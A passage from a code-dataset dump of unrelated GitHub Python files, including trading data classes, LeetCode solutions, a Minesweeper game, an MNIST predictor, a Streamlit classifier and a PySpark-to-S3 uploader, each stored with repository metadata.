2019/02/16\n\"\"\"\n\nimport json\n\nfrom quant import const\n\n\nclass Orderbook:\n \"\"\" 订单薄\n \"\"\"\n\n def __init__(self, platform=None, symbol=None, asks=None, bids=None, timestamp=None):\n \"\"\" 初始化\n @param platform 交易平台\n @param symbol 交易对\n @param asks 买盘数据 [[price, quantity], [...], ...]\n @param bids 卖盘数据 [[price, quantity], [...], ...]\n @param timestamp 时间戳(毫秒)\n \"\"\"\n self.platform = platform\n self.symbol = symbol\n self.asks = asks\n self.bids = bids\n self.timestamp = timestamp\n\n @property\n def data(self):\n d = {\n \"platform\": self.platform,\n \"symbol\": self.symbol,\n \"asks\": self.asks,\n \"bids\": self.bids,\n \"timestamp\": self.timestamp\n }\n return d\n\n def __str__(self):\n info = json.dumps(self.data)\n return info\n\n def __repr__(self):\n return str(self)\n\n\nclass Trade:\n \"\"\" 交易数据\n \"\"\"\n\n def __init__(self, platform=None, symbol=None, action=None, price=None, quantity=None, timestamp=None):\n \"\"\" 初始化\n @param platform 交易平台\n @param symbol 交易对\n @param action 操作 BUY / SELL\n @param price 价格\n @param quantity 数量\n @param timestamp 时间戳(毫秒)\n \"\"\"\n self.platform = platform\n self.symbol = symbol\n self.action = action\n self.price = price\n self.quantity = quantity\n self.timestamp = timestamp\n\n @property\n def data(self):\n d = {\n \"platform\": self.platform,\n \"symbol\": self.symbol,\n \"action\": self.action,\n \"price\": self.price,\n \"quantity\": self.quantity,\n \"timestamp\": self.timestamp\n }\n return d\n\n def __str__(self):\n info = json.dumps(self.data)\n return info\n\n def __repr__(self):\n return str(self)\n\n\nclass Kline:\n \"\"\" K线 1分钟\n \"\"\"\n\n def __init__(self, platform=None, symbol=None, open=None, high=None, low=None, close=None, volume=None,\n timestamp=None):\n \"\"\" 初始化\n @param platform 平台\n @param symbol 交易对\n @param open 开盘价\n @param high 最高价\n @param low 最低价\n @param close 收盘价\n @param volume 成交量\n @param timestamp 时间戳(毫秒)\n \"\"\"\n self.platform = platform\n self.symbol = symbol\n self.open = open\n self.high = high\n self.low = low\n self.close = close\n self.volume = volume\n self.timestamp = timestamp\n\n @property\n def data(self):\n d = {\n \"platform\": self.platform,\n \"symbol\": self.symbol,\n \"open\": self.open,\n \"high\": self.high,\n \"low\": self.low,\n \"close\": self.close,\n \"volume\": self.volume,\n \"timestamp\": self.timestamp\n }\n return d\n\n def __str__(self):\n info = json.dumps(self.data)\n return info\n\n def __repr__(self):\n return str(self)\n\n\nclass Market:\n \"\"\" 行情订阅模块\n \"\"\"\n\n def __init__(self, market_type, platform, symbol, callback):\n \"\"\" 初始化\n @param market_type 行情类型\n @param platform 交易平台\n @param symbol 交易对\n @param callback 更新回调函数\n \"\"\"\n if market_type == const.MARKET_TYPE_ORDERBOOK:\n from quant.event import EventOrderbook\n EventOrderbook(platform, symbol).subscribe(callback)\n elif market_type == const.MARKET_TYPE_TRADE:\n from quant.event import EventTrade\n EventTrade(platform, symbol).subscribe(callback)\n elif market_type == const.MARKET_TYPE_KLINE:\n from quant.event import EventKline\n EventKline(platform, symbol).subscribe(callback)\n","repo_name":"SimoHaiLiu/thenextquant","sub_path":"quant/market.py","file_name":"market.py","file_ext":"py","file_size_in_byte":4067,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"32"} +{"seq_id":"74895933850","text":"from typing import List\nfrom collections import Counter\n\n\nclass Solution:\n def totalFruit(self, fruits: List[int]) -> int:\n res, l = 0, 0\n type = Counter()\n for r in range(len(fruits)):\n while len(type) == 2 and fruits[r] not in type:\n type[fruits[l]] -= 1\n if type[fruits[l]] == 0:\n del type[fruits[l]]\n l += 1\n type[fruits[r]] += 1\n res = max(r - l + 1, res)\n return res\n","repo_name":"debbs061/algorithm","sub_path":"src/904-fruit-into-baskets.py","file_name":"904-fruit-into-baskets.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24094882050","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar 25 15:00:35 2017\n\n@author: jerome\n\"\"\"\nimport pickle\nimport cv2\nimport os, sys, getopt\nfrom moviepy.editor import VideoFileClip\n\n\ndef load_calib_param() :\n dist_pickle = pickle.load( open( \"camera_calibration.p\", \"rb\" ) )\n mtx = dist_pickle[\"mtx\"]\n dist = dist_pickle[\"dist\"]\n \n return mtx,dist\n\ndef undistort(img,mtx,dist) :\n return cv2.undistort(img, mtx, dist, None, mtx)\n\ndef main(argv):\n ifile = ''\n ofile = ''\n try:\n opts, args = getopt.getopt(argv,\"hi:o:\",[\"ifile=\",\"ofile=\"])\n except getopt.GetoptError:\n print ('undistort.py -i -o ')\n sys.exit(2)\n for opt, arg in opts:\n if opt == '-h':\n print ('undistort.py -i -o ')\n sys.exit()\n elif opt in (\"-i\", \"--ifile\"):\n ifile = arg\n elif opt in (\"-o\", \"--ofile\"):\n ofile = arg\n if ifile == '' or ifile == '' :\n print ('undistort.py -t -i -o ')\n sys.exit()\n \n mtx,dist = load_calib_param()\n\n def video_undistort(clip, mtx, dist):\n def wrapper(image):\n return undistort(image,mtx,dist)\n return clip.fl_image(wrapper)\n\n if ifile.split(\".\")[-1] == \"mp4\":\n white_output = os.path.abspath(os.path.curdir)+ofile\n clip = VideoFileClip(os.path.abspath(os.path.curdir)+ifile)\n white_clip = clip.fx(video_undistort, mtx, dist) #NOTE: this function expects color images!!\n white_clip.write_videofile(white_output, audio=False)\n else :\n img = cv2.imread(os.path.abspath(os.path.curdir)+ifile)\n cv2.imwrite(os.path.abspath(os.path.curdir)+ofile,undistort(img,mtx,dist))\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n\n ","repo_name":"Jaeyong-Han/Self-Driving-Car_Nanodegree","sub_path":"CarND-Project4_Advanced-Lane-Lines/undistort.py","file_name":"undistort.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39973868833","text":"import matplotlib\nmatplotlib.use(\"Agg\")\nimport json\nimport pandas as pd\nfrom Api import BaseAPI\nimport statistics\nfrom numerize import numerize\nfrom pptx.util import Inches,Pt\nfrom pptx.dml.color import RGBColor\nfrom pptx.enum.text import MSO_AUTO_SIZE,PP_ALIGN,MSO_ANCHOR\nfrom pptx.enum.shapes import MSO_CONNECTOR,MSO_SHAPE\nimport matplotlib.colors as Colour\nfrom utils.create_table import Table\nfrom utils.create_heading import Heading\nfrom datetime import datetime,timedelta\nimport matplotlib.pyplot as plt\nfrom matplotlib.dates import DateFormatter\nimport uuid\nimport os\nclass BusinessDescription(BaseAPI):\n __url__1=\"https://yh-finance.p.rapidapi.com/stock/v2/get-profile\"\n __url__2=\"https://yh-finance.p.rapidapi.com/stock/v2/get-financials\"\n __url__3=\"https://yh-finance.p.rapidapi.com/stock/v2/get-cash-flow\"\n __url__4=\"https://yh-finance.p.rapidapi.com/stock/v3/get-historical-data\"\n @classmethod\n def get_business_descripton(cls,raw_data):\n data:str=cls.search(raw_data,\"longBusinessSummary\")\n old_sentences=data.split(\".\")\n new_sentences=[]\n for idx in range(len(old_sentences)):\n if not old_sentences[idx].endswith(\"Inc\"):\n new_sentence=old_sentences[idx].rstrip()+\".\\n\"\n else:\n new_sentence=old_sentences[idx].rstrip()+\".\"\n if idx!=len(old_sentences)-1:\n new_sentences.append(new_sentence)\n else:\n new_sentences.append(old_sentences[idx]+\".\")\n text=\"\".join(new_sentences)\n return text\n @classmethod\n def get_financial_summary(cls,raw_data_financial,raw_data_cashflow):\n column_data={}\n revenue=cls.search(raw_data_financial,\"annualTotalRevenue\")\n ebitda=cls.search(raw_data_financial,\"annualEbitda\")\n fcf=cls.search(raw_data_cashflow,\"annualFreeCashFlow\")\n prev_rev=revenue[-4][\"reportedValue\"][\"raw\"]\n for dataPoint in range(-3,0):\n year=datetime.strptime(revenue[dataPoint][\"asOfDate\"],\"%Y-%m-%d\").year\n key=str(year)\n cur_rev=revenue[dataPoint][\"reportedValue\"][\"raw\"]\n if key not in column_data:\n column_data[key]=[]\n growth=(cur_rev-prev_rev)/prev_rev\n cur_ebitda=ebitda[dataPoint][\"reportedValue\"][\"raw\"]\n ebitda_margin=cur_ebitda/cur_rev\n cur_fcf=fcf[dataPoint][\"reportedValue\"][\"raw\"]\n fcf_margin=cur_fcf/cur_rev\n column_data[key].append(numerize.numerize(cur_rev))\n column_data[key].append(numerize.numerize(growth*100)+\"%\")\n column_data[key].append(numerize.numerize(cur_ebitda))\n column_data[key].append(numerize.numerize(ebitda_margin)+\"%\")\n column_data[key].append(numerize.numerize(cur_fcf))\n column_data[key].append(numerize.numerize(fcf_margin)+\"%\")\n prev_rev=cur_rev\n indexes=[\"Revenue\",\"Growth(%)\",\"EBITDA\",\"Margin(%)\",\"FCF\",\"Margin(%)\"]\n return {\"indexes\":indexes,\"columns\":column_data}\n @classmethod\n def get_share_price_performance(cls,raw_data):\n df=pd.json_normalize(raw_data[\"prices\"])\n Y=df[\"close\"]\n df[\"date\"]=pd.to_datetime(df[\"date\"],unit=\"s\")\n first_date=df[\"date\"][0]\n ticks=[]\n ticks.append(first_date)\n for i in df[\"date\"]:\n first_date=first_date-timedelta(days=30)\n ticks.append(first_date)\n figure=plt.figure(figsize=(6,3))\n fig=plt.plot(df[\"date\"],Y,label='Close',color='#ffa500')\n plt.xticks=ticks\n plt.gca().xaxis.set_major_formatter(DateFormatter(\"%b,%Y\"))\n plt.legend()\n plt.gcf().autofmt_xdate()\n for tick in plt.gca().xaxis.get_major_ticks():\n tick.label.set_fontsize(9)\n for tick in plt.gca().yaxis.get_major_ticks():\n tick.label.set_fontsize(9)\n plt.grid(True)\n plt.gcf().subplots_adjust(top=1,bottom=0.25)\n filename=uuid.uuid4().hex[:8].upper()\n path=os.path.join(os.getcwd(),'Graphs')\n if not os.path.exists(path):\n os.mkdir(path)\n adress=path+'\\\\'+filename+'.png'\n plt.savefig(adress)\n return adress\n @classmethod\n def ppt_output(cls,pr,company,style):\n try:\n HEADING_FONT=style[\"heading-font\"]\n except:\n HEADING_FONT=\"Calibri\"\n try:\n HEADING_FONT_SIZE=int(style[\"heading-font-size\"])\n except:\n HEADING_FONT_SIZE=35\n try:\n SUB_HEADING_FONT=style[\"sub-heading-font\"]\n except:\n SUB_HEADING_FONT=\"Calibri\"\n try:\n BODY_TEXT_FONT=style[\"body-text-font\"]\n except:\n BODY_TEXT_FONT=\"Calibri\"\n try:\n BODY_TEXT_FONT_SIZE=style[\"body-text-font-size\"]\n except:\n BODY_TEXT_FONT_SIZE=13\n BODY_TEXT_HEADING_FONT_SIZE=BODY_TEXT_FONT_SIZE+1\n try:\n THEME_COLOR=tuple(int(255*i) for i in Colour.to_rgb(style[\"theme-color\"]))\n except:\n THEME_COLOR=(1,39,99)\n # Adding slide\n layout=pr.slide_layouts[6] # Blank layout\n slide=pr.slides.add_slide(layout)\n # # Heading\n heading=Heading(HEADING_FONT_SIZE,THEME_COLOR,HEADING_FONT,(Inches(0.2),Inches(0),Inches(8),Inches(0.5)),\"Company overview\",slide)\n heading.create_heading()\n # Separation line\n line=slide.shapes.add_connector(MSO_CONNECTOR.STRAIGHT,Inches(0),Inches(0.7),Inches(2.1),Inches(0.7))\n fill=line.line\n fill.color.rgb=RGBColor(184,25,4)\n # Heading\n bd_heading_shape=slide.shapes.add_shape(MSO_SHAPE.RECTANGLE,Inches(0.5),Inches(1),Inches(10),Inches(0.3))\n bd_heading_txtFrame=bd_heading_shape.text_frame\n bd_heading_txtFrame.text=\"Buisness Description\"\n try:\n bd_heading_txtFrame.fit_text(font_family=str(SUB_HEADING_FONT))\n except:\n bd_heading_txtFrame.fit_text(font_family=u\"Calibri\")\n bd_shape_fill=bd_heading_shape.fill\n bd_shape_fill.solid()\n bd_shape_fill.fore_color.rgb=RGBColor(*THEME_COLOR)\n #content\n bd_data=cls.base_fetch({\"symbol\":company,\"region\":\"US\"},url=cls.__url__1)\n bd_content_txtBox=slide.shapes.add_textbox(Inches(0.5),Inches(1.5),Inches(10),Inches(6))\n bd_content_txtFrame=bd_content_txtBox.text_frame\n bd_content_txtFrame.word_wrap=True\n bd_content_txtFrame.text=cls.get_business_descripton(bd_data)\n # Heading\n bd_heading_shape=slide.shapes.add_shape(MSO_SHAPE.RECTANGLE,Inches(11),Inches(1),Inches(6.5),Inches(0.3))\n bd_heading_txtFrame=bd_heading_shape.text_frame\n bd_heading_txtFrame.text=\"Financial summary\"\n try:\n bd_heading_txtFrame.fit_text(font_family=str(SUB_HEADING_FONT))\n except:\n bd_heading_txtFrame.fit_text(font_family=u\"Calibri\")\n bd_shape_fill=bd_heading_shape.fill\n bd_shape_fill.solid()\n bd_shape_fill.fore_color.rgb=RGBColor(*THEME_COLOR)\n #table\n raw_data_financials=cls.base_fetch({\"symbol\":company,\"region\":\"US\"},url=cls.__url__2)\n raw_data_fcf=cls.base_fetch({\"symbol\":company,\"region\":\"US\"},url=cls.__url__3)\n fs_data=cls.get_financial_summary(raw_data_financials,raw_data_fcf)\n column_width={\"normal\":1\n ,\"index\":1.5}\n table=Table(fs_data,(12,1.5,len(fs_data[\"columns\"])*1+1.5,len(fs_data[\"indexes\"])*0.2),column_width,slide)\n table.create()\n # SPP\n # Heading\n bd_heading_shape=slide.shapes.add_shape(MSO_SHAPE.RECTANGLE,Inches(11),Inches(4),Inches(6.5),Inches(0.3))\n bd_heading_txtFrame=bd_heading_shape.text_frame\n bd_heading_txtFrame.text=\"Share Price Performance\"\n try:\n bd_heading_txtFrame.fit_text(font_family=str(SUB_HEADING_FONT))\n except:\n bd_heading_txtFrame.fit_text(font_family=u\"Calibri\")\n bd_shape_fill=bd_heading_shape.fill\n bd_shape_fill.solid()\n bd_shape_fill.fore_color.rgb=RGBColor(*THEME_COLOR)\n sp_data=cls.base_fetch({\"symbol\":company,\"region\":\"US\"},cls.__url__4)\n adress=cls.get_share_price_performance(sp_data)\n graph=slide.shapes.add_picture(adress,Inches(11),Inches(4.5),Inches(6.5),Inches(3))\n os.remove(adress)\n return\n \n \n \n \n \n\n \n \n ","repo_name":"Subhankar4901/datalytics_demo","sub_path":"BusinessDescription.py","file_name":"BusinessDescription.py","file_ext":"py","file_size_in_byte":8420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9943036930","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution(object):\n def swapPairs(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n parent = ListNode(0,head)\n p1,p2=parent,head\n \n while p2 and p2.next:\n nxtset = p2.next.next\n frontier = p2.next\n \n frontier.next=p2\n p2.next=nxtset\n p1.next = frontier\n \n p1=p2\n p2=nxtset\n return parent.next\n \n ","repo_name":"GizawAAiT/Competitive_programming","sub_path":"Community/may1-may7/24. Swap Nodes in Pairs.py","file_name":"24. Swap Nodes in Pairs.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"38856216696","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom PIL import Image,ImageFilter\n\n#Imports\nimport numpy as np\nimport tensorflow as tf\nimport cnn_mnist\n\n#prepare the input data from a image to the input data for predict\ndef image_prepare(im):\n\twidth=float(im.size[0])\n\theight=float(im.size[1])\n\tnewImage=Image.new('L',(28,28),(255))\n #resize the input image, let the longer one of width and width to be 20\n\tif width>height:\n\t\tnheight=int(round((20.0/width*height),0))\n\t\tif (nheight==0):\n\t\t\tnheight=1\n\t\timg=im.resize((20,nheight),Image.ANTIALIAS).filter(ImageFilter.SHARPEN)\n\t\twtop=int(round(((28-nheight)/2),0))\n\t\tnewImage.paste(img,(4,wtop))\n\telse:\n\t\tnwidth=int(round((20.0/height*width),0))\n\t\tif(nwidth==0):\n\t\t\tnwidth=1\n\t\timg=im.resize((nwidth,20),Image.ANTIALIAS).filter(ImageFilter.SHARPEN)\n\t\thtop=int(round(((28-nwidth)/2),0))\n\t\tnewImage.paste(img,(htop,4))\n\tdata=list(newImage.getdata())\t\n #get the datas of the image, and change the datas to float32\n\ttva=[(255-x)*1.0/255.0 for x in data]\n\tfinal_data=[np.float32(x) for x in tva]\n\treturn [final_data]\n \n#get the predict result\ndef Predict(img):\n mnist_classifier=tf.estimator.Estimator(model_fn=cnn_mnist.cnn_model_fn,model_dir=\"/home/model_data\")\n x_value=np.asarray(image_prepare(img))\n predict_input_fn=tf.estimator.inputs.numpy_input_fn(x={\"x\":x_value},batch_size=1,shuffle=False)\n predict_result=mnist_classifier.predict(input_fn=predict_input_fn,predict_keys=\"classes\",checkpoint_path=\"./model_data/model.ckpt-20000\")\n return list(predict_result)\nif __name__ == \"__main__\":\n tf.app.run()\n","repo_name":"ldscr/cnn_mnist_demo_with_GUI","sub_path":"cnn_mnist_predict_with_img.py","file_name":"cnn_mnist_predict_with_img.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"15623431923","text":"import mysql.connector\nfrom menus import menu_inicio, menu_entrar, menu_criar, menu_usuario\nfrom bdados import validar_usuario, cadastrar_usuario\nfrom classes import Pessoa\nfrom getpass import getpass\nimport datetime\n\n\nopt = ''\n\nwhile opt != 'S':\n opt = menu_inicio()\n \n if opt == 'A':\n usuario, senha = menu_criar()\n cadastrar_usuario(usuario, senha)\n \n elif opt == 'B':\n usuario, senha = menu_entrar()\n pessoa = validar_usuario(usuario, senha)\n opt = menu_usuario()\n\n if opt == 'C':\n pessoa.consultar_dados()\n \n elif opt == 'D':\n pessoa.adicionar_dados()\n\n \n elif opt == 'E':\n pessoa.excluir_dados()\n \n else:\n break \n \n print('\\n------Volte Sempre!------\\n')","repo_name":"deliciodev/gFin-db1start","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21255242824","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 23 14:25:22 2023\n\n@author: debna\n\"\"\"\n\nimport streamlit as st\nimport tensorflow as tf\nfrom tensorflow.keras.models import load_model\nfrom PIL import Image\nimport numpy as np\n\nmodel = load_model(\"your_model.h9\")\n\ndef main():\n st.title(\"Brain Tumor Classification\")\n st.text(\"Upload MRI scan images for tumor classification\")\n\n # File upload\n uploaded_files = st.file_uploader(\"Choose MRI scan images\", type=[\"jpg\", \"jpeg\", \"png\"], accept_multiple_files=True)\n\n if uploaded_files is not None:\n for uploaded_file in uploaded_files:\n # Display the uploaded image\n image = Image.open(uploaded_file)\n st.image(image, caption=\"Uploaded Image\", use_column_width=True)\n\n # Preprocess the image\n image = image.resize((150, 150))\n image = np.array(image) / 255.0\n image = np.expand_dims(image, axis=0)\n\n # Make predictions\n prediction = model.predict(image)\n if prediction[0][0] > 0.5:\n result = \"Tumor\"\n else:\n result = \"Normal\"\n\n st.write(\"Prediction:\", result)\n st.write(\"---\")\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"debnath94/Brain-Tumor-Classification","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25698587419","text":"import argparse\nimport os\nfrom DataOps import DataOps\nfrom pyspark.sql import SparkSession\n\nparser = argparse.ArgumentParser(description='Conexion SQL Phyton, suma/resta/multiplica a y b')\nparser.add_argument('-S', '--Server', type=str, required=True, help='Server de Base de Datos SQL')\nparser.add_argument('-U', '--UID', type=str, required=True, help='usuario Conexion')\nparser.add_argument('-P', '--PASSWORD', type=str, required=True, help='Password Conexion')\nparser.add_argument('-DB', '--DB', type=str, required=True, help='Nombre de Base de datos')\n#parser.add_argument('-X', '--XConection', type=str, choices=['Y','N'], default= 'N',required=False, help='parametro para identificar si es conexion por usuario windows o por usuario SQL')\nparser.add_argument('-Q', '--Query', type=str, required=False, help='Query a Ejecutar')\nparser.add_argument('-T', '--Table', type=str, required=True, help='Tabla a enviar')\nparser.add_argument('-C', '--Country', type=str, required=False, help='Pais a Enviar')\nparser.add_argument('-R', '--Route', type=str, required=True, help='Ruta Local Para crear archivo')\n#parser.add_argument('-PE', '--TimePeriod', type=str, required=False, help='periodo del archivo')\nparser.add_argument('-AA', '--AWSAccessKey', type=str, required=True, help='AWS ACCESS KEY')\nparser.add_argument('-AS', '--AWSSecretKey', type=str, required=True, help='AWS SECRET ACCESS KEY')\nparser.add_argument('-TK', '--AWSSessionToken', type=str, required=False, help='AWS SESSION TOKEN')\nparser.add_argument('-B', '--BucketName', type=str, required=True, help='Nombre Bucket')\nparser.add_argument('-BR', '--BucketRoute', type=str, required=False, help='Ruta Bucket')\nparser.add_argument('-CT', '--ConnectorType', type=str, required=True, help='Tipo de Conector')\nparser.add_argument('-DR', '--Driver', type=str, required=True, help='Driver de Base de Datos')\nparser.add_argument('-PO', '--Port', type=str, required=True, help='Puerto de Base de Datos')\nparser.add_argument('-CS', '--ChunkSize', type=int, required=True, help='Chunk Size')\nargs = parser.parse_args()\n\n# Instance object\nDataOps = DataOps(\n os.environ.get(\"INPUT_PATH\"),\n os.environ.get(\"SCHEMA_PATH\"),\n args\n )\n\n# Initialize SparkSession\nif DataOps.AWSSessionToken is not None:\n spark = SparkSession.builder.appName(\"From DB to S3\")\\\n .config(\"spark.hadoop.fs.s3a.access.key\", DataOps.AWSAccessKey) \\\n .config(\"spark.hadoop.fs.s3a.secret.key\", DataOps.AWSSecretKey) \\\n .config(\"spark.hadoop.fs.s3a.session.token\", DataOps.AWSSessionToken)\\\n .getOrCreate()\nelse:\n spark = SparkSession.builder.appName(\"From DB to S3\")\\\n .config(\"spark.hadoop.fs.s3a.access.key\", DataOps.AWSAccessKey) \\\n .config(\"spark.hadoop.fs.s3a.secret.key\", DataOps.AWSSecretKey) \\\n .getOrCreate()\n\n# Validate Data\n#msg = DataOps.validateData(spark)\nos.makedirs(DataOps.Route,exist_ok=True)\ndf = DataOps.readFromDb(spark)\nDataOps.saveTable(df,\"overwrite\")\n#DataOps.uploadParquetDirectoryToS3(spark)\n\n\n","repo_name":"simonbustamante/SPARK-DOCKER-UBUNTU","sub_path":"uploadParquetToS3.py","file_name":"uploadParquetToS3.py","file_ext":"py","file_size_in_byte":3023,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35556431358","text":"# -*- coding: utf-8 -*-\n\nfrom asciimatics.widgets import Frame, Layout, Text\n\nfrom marauder.view.utils import get_screen_size\n\n\nclass TipView(Frame):\n\n def __init__(self, screen, client):\n title = 'Error'\n height, width = get_screen_size(screen)\n super(TipView, self).__init__(\n screen, height, width, hover_focus=True, title=title)\n self.client = client\n self.setup_layout()\n\n def setup_layout(self):\n error_text = Text('Error:', self.client.get_error())\n\n self.layout = layout = Layout([100], fill_frame=True)\n self.add_layout(layout)\n layout.add_widget(error_text)\n self.fix()\n","repo_name":"shonenada-archives/Marauder","sub_path":"marauder/view/tip.py","file_name":"tip.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32153761587","text":"import pygame\r\nimport math\r\nimport random\r\nimport sys\r\nimport time\r\n\r\npygame.init()\r\nwin = pygame.display.set_mode((512, 576))\r\npygame.display.set_caption(\"Minesweeper 10 x 10\")\r\nwin.fill((0, 244, 0))\r\npygame.display.update()\r\n\r\nwidth = 42\r\nheight = 42\r\ngrid = []\r\nland = []\r\nmines = []\r\nneighbors = []\r\nflags = []\r\n\r\nfont = pygame.font.Font('freesansbold.ttf', 24)\r\n\r\nrun = True\r\n\r\n\r\ndef draw_tile(x, y, color):\r\n pygame.draw.rect(win, color, (50 * x + 6, 50 * y + 6, width, height))\r\n\r\n\r\ndef init_board():\r\n for i in range(10):\r\n for j in range(10):\r\n grid.append((i, j))\r\n\r\n for i in range(3, 7):\r\n for j in range(3, 7):\r\n land.append((i, j))\r\n\r\n for i in range(2, 8):\r\n for j in range(2, 8):\r\n if 0 < land.count((i - 1, j)) and land.count((i, j)) == 0:\r\n neighbors.append((i, j))\r\n if 0 < land.count((i + 1, j)) and land.count((i, j)) == 0:\r\n neighbors.append((i, j))\r\n if 0 < land.count((i, j + 1)) and land.count((i, j)) == 0:\r\n neighbors.append((i, j))\r\n if 0 < land.count((i, j - 1)) and land.count((i, j)) == 0:\r\n neighbors.append((i, j))\r\n\r\n count = 0\r\n while count < 7:\r\n a = random.choice(neighbors)\r\n land.append(a)\r\n neighbors.remove(a)\r\n count += 1\r\n\r\n\r\ndef place_mines():\r\n unpopulated = [x for x in grid if x not in land]\r\n for x in range(10):\r\n mine = random.choice(unpopulated)\r\n unpopulated.remove(mine)\r\n mines.append(mine)\r\n\r\n\r\ndef find_adjacent_mines():\r\n for x in land:\r\n adjacent_mines = 0\r\n for i in (-1, 0, 1):\r\n for j in (-1, 0, 1):\r\n if i == j == 0:\r\n continue\r\n elif mines.count((x[0] + i, x[1] + j)) > 0:\r\n adjacent_mines += 1\r\n text = font.render(str(adjacent_mines), True, (255, 0, 0), (237, 201, 78))\r\n text_rect = text.get_rect()\r\n text_rect.center = (50 * x[0] + 25, 50 * x[1] + 25)\r\n win.blit(text, text_rect)\r\n\r\n\r\ndef draw_grid():\r\n for i in range(10):\r\n for j in range(10):\r\n draw_tile(i, j, (0, 255, 0))\r\n for coord in land:\r\n draw_tile(coord[0], coord[1], (237, 201, 78))\r\n for f in flags:\r\n draw_tile(f[0], f[1], (0, 0, 0))\r\n\r\n find_adjacent_mines()\r\n\r\n\r\ninit_board()\r\nplace_mines() # goes before draw_grid() so that mines isn't empty\r\ndraw_grid()\r\n\r\nwhile run:\r\n\r\n ev = pygame.event.get()\r\n\r\n for event in ev:\r\n if event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\r\n pos = pygame.mouse.get_pos()\r\n square_coordinates = (math.floor(pos[0] / 50), math.floor(pos[1] / 50))\r\n if land.count(square_coordinates) == 0 and grid.count(square_coordinates) > 0:\r\n land.append(square_coordinates)\r\n if mines.count(square_coordinates) > 0:\r\n for x in mines:\r\n draw_tile(x[0], x[1], (255, 0, 0))\r\n pygame.display.update()\r\n time.sleep(0.25)\r\n time.sleep(2)\r\n sys.exit()\r\n draw_grid()\r\n\r\n if event.type == pygame.MOUSEBUTTONDOWN and event.button == 3:\r\n pos = pygame.mouse.get_pos()\r\n square_coordinates = (math.floor(pos[0] / 50), math.floor(pos[1] / 50))\r\n if flags.count(square_coordinates) == 0:\r\n flags.append(square_coordinates)\r\n draw_grid()\r\n\r\n game_time = font.render(\"Time: \" + str(math.floor(pygame.time.get_ticks() / 1000)), True, (255, 0, 0),\r\n (237, 201, 78))\r\n game_time_rect = game_time.get_rect()\r\n game_time_rect.center = (384, 520)\r\n win.blit(game_time, game_time_rect)\r\n pygame.display.update()\r\n\r\n mines_to_uncover = [x for x in mines if x not in flags]\r\n if len(mines_to_uncover) == 0:\r\n win.fill((0, 255, 255))\r\n winning_text = font.render('You win!', True, (255, 0, 0), (255, 255, 255))\r\n winning_rect = winning_text.get_rect()\r\n winning_rect.center = (255, 255)\r\n win.blit(winning_text, winning_rect)\r\n pygame.display.update()\r\n time.sleep(3)\r\n sys.exit()\r\n","repo_name":"adityapatwardhan1/Python-Games","sub_path":"minesweeper.py","file_name":"minesweeper.py","file_ext":"py","file_size_in_byte":4264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72785601051","text":"# Задача 16:\n# Требуется вычислить, сколько раз встречается некоторое число X в массиве A[1..N].\n# Пользователь вводит натуральное число N – количество элементов в массиве и число, которое необходимо проверить - X.\n# Заполните массив случайными натуральными числами от 1 до N/2.\n# Выведите, сколько раз X встречается в массиве.\n# Ввод: 5\n# Ввод: 3\n# 1 2 3 4 5\n# Вывод: 1\n\nimport os\nos.system('cls')\nfrom random import randint\nimport random\n\nn = int(input(\"Введите длину списка: \"))\nx = int(input(\"Введите искомое число: \"))\na = []\n\nfor i in range(0, n): # заполнение списка методом рандома\n random_num = round(random.randint(0, 5))\n a.append(random_num)\nprint(a)\n\ncount = 0\nfor i in range(0, len(a)):\n if a[i] == x:\n count+=1\n\nprint(f\"Искомое Вами число встречается {count} раз\")","repo_name":"MaksimS1990/Python_HomeWork","sub_path":"Python_DZ3/task16/task16.py","file_name":"task16.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"69921425051","text":"class Solution:\n def reverseWords(self, s: str) -> str:\n l = s.split(\" \")\n \n # solution 1\n # l = [\"\".join(reversed(i)) for i in l]\n # return \" \".join(l)\n \n # solution 2\n for i in range(len(l)):\n l[i] = \"\".join(reversed(l[i]))\n return \" \".join(l)\n","repo_name":"libdx/coding-tasks","sub_path":"reverse_words_in_a_string_3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20380465579","text":"from pyspark.sql import SparkSession\nfrom pyspark.sql.functions import col\n\nfrom pathlib import Path\n\nspark = SparkSession.builder.appName('Testing 